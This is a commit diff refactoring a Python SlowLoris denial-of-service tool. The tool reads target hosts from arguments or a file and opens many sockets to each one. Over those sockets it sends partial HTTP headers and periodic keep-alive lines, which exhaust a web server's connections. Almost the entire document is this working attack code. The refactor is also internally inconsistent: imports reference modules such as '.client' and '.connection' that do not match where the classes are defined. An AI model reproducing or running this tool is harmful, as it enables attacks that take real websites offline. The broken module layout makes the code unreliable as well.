Refactor code

- Make code work with Python 2 and 3
- Fix code according to pylint

Author: SplittyDev

src/lorisConnection.py

@@ -1,61 +1,65 @@
-import os.path
-import slowLoris
+"""This module implements the SlowLoris DoS attack."""
+
+# Standard imports
+from os import path
 import sys
 import threading
 import time
 
-__author__ = "Jacob Misirian"
+# Library imports
+from slow_loris import SlowLoris
 
+# Constants
 DEFAULT_PORT = 80
 DEFAULT_CONNECTION_COUNT = 200
 
-def parsetarget (line):
-    parts = line.split ()
-    partlen = len (parts)
-    ip = parts [0]
+def parsetarget(target):
+    """Parses a target."""
+    parts = target.split()
+    part_len = len(parts)
+    host = parts[0]
     port = DEFAULT_PORT
     count = DEFAULT_CONNECTION_COUNT
-    
-    if partlen == 2:
-        port = int (parts [1])
-    elif partlen == 3:
-        port = int (parts [1])
-        count = int (parts [2])
-    
-    return (ip, port, count)
-
-# Main entry point
-if __name__ == '__main__':
-    arglen = len (sys.argv)
-    
-    if arglen == 1:
-        print ("Error! Expected at least one argument after file path!")
-        exit ()
+    if part_len == 2:
+        port = int(parts[1])
+    elif part_len == 3:
+        port = int(parts[1])
+        count = int(parts[2])
+    return (host, port, count)
 
+def main():
+    """The main entry point."""
+    if len(sys.argv) == 1:
+        print("Error! Expected at least one argument after file path!")
+        exit()
     # Holds a list of tuples in format (ip, port, count).
     targets = []
-    
     # If the user gave us a file, hit all of the targets within.
-    if os.path.isfile (sys.argv [1]):
-        with open (sys.argv [1]) as f:
-            lines = f.readlines()
-        lines = [line.strip () for line in lines]
+    if path.isfile(sys.argv[1]):
+        with open(sys.argv[1]) as file:
+            lines = file.readlines()
+        lines = [line.strip() for line in lines]
         for line in lines:
-            targets.insert (0, parsetarget (line))
+            targets.insert(0, parsetarget(line))
     else:
-        targets.insert (0, parsetarget (' '.join (sys.argv [1:])))
-
+        targets.insert(0, parsetarget(' '.join(sys.argv[1:])))
     # Begin attacking our selected targets.
     try:
-        loris = slowLoris.SlowLoris ()
-        # Spawn a new daemon thread for each attacker, as it takes time to establish all the connections.
+        loris = SlowLoris()
+        # Spawn a new daemon thread for each attacker,
+        # as it takes time to establish all the connections.
         for target in targets:
-            attackThread = threading.Thread (target=loris.attack, args=[target [0], target [1], target [2]])
-            attackThread.setDaemon (True)
-            attackThread.start ()
-            time.sleep (0.5)
-        
-        time.sleep (-1)
+            attack_thread = threading.Thread(
+                target=loris.attack,
+                args=[target[0], target[1], target[2]])
+            attack_thread.setDaemon(True)
+            attack_thread.start()
+            time.sleep(0.5)
+        while True:
+            pass
     except (KeyboardInterrupt, SystemExit):
-        loris.stop ()
-        exit ()
+        loris.stop()
+        exit()
+
+if __name__ == "__main__":
+    main()

src/main.py

@@ -0,0 +1,3 @@
+"""This module exports the SlowLoris functionality."""
+
+from .client import SlowLoris

src/slowLoris.py

@@ -0,0 +1,51 @@
+"""This module implements the SlowLoris client."""
+
+import threading
+import time
+
+from .connection import LorisConnection
+
+# Constants
+DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"
+
+class SlowLoris:
+    """SlowLoris attack client."""
+
+    def __init__(self):
+        self.connections = []
+        self.connection_count = 0
+        self.keepalive_thread = threading.Thread(target=self.keep_alive)
+        self.keepalive_thread.setDaemon(True)
+        self.keepalive_thread.start()
+
+    def attack(self, host, port, count):
+        """Starts the attack."""
+        self.connection_count = count
+        print("Initializing {} connections.".format(count))
+        # Start 'count' connections and send the initial HTTP headers.
+        for _ in range(count):
+            conn = LorisConnection(host, port).send_headers(DEFAULT_USER_AGENT)
+            self.connections.insert(0, conn)
+
+    def stop(self):
+        """Stops the attack."""
+        for conn in self.connections:
+            conn.close()
+
+    def keep_alive(self):
+        """Make sure that connections stay alive once established."""
+        while True:
+            time.sleep(10)
+            print("Sending keep-alive headers for {} connections.".format(self.connection_count))
+            # Every 10 seconds, send HTTP nonsense to prevent the connection from timing out.
+            for i in range(0, self.connection_count):
+                try:
+                    self.connections[i].keep_alive()
+                # If the server closed one of our connections, re-open the connection in it's place.
+                except KeyboardInterrupt:
+                    raise
+                # pylint: disable=W0702
+                except:
+                    host, port = (self.connections[i].host, self.connections[i].port)
+                    conn = LorisConnection(host, port).send_headers(DEFAULT_USER_AGENT)
+                    self.connections[i] = conn

src/slow_loris/__init__.py

@@ -0,0 +1,28 @@
+"""This module implements the SlowLoris connection."""
+
+import random
+import socket
+
+class LorisConnection:
+    """SlowLoris connection."""
+
+    def __init__(self, host, port):
+        self.host = host
+        self.port = port
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.connect((self.host, self.port))
+        # TODO: Add SSL support
+
+    def close(self):
+        """Closes the connection."""
+        self.socket.close()
+
+    def send_headers(self, uagent):
+        """Sends headers."""
+        template = "GET /?{} HTTP/1.1\r\n{}\r\nAccept-language: en-US,en,q=0.5\r\n"
+        self.socket.send(template.format(random.randrange(0, 2000), uagent).encode("ascii"))
+        return self
+
+    def keep_alive(self):
+        """Sends keep-alive headers."""
+        self.socket.send("X-a: {}\r\n".format(random.randrange(1, 5000)).encode("ascii"))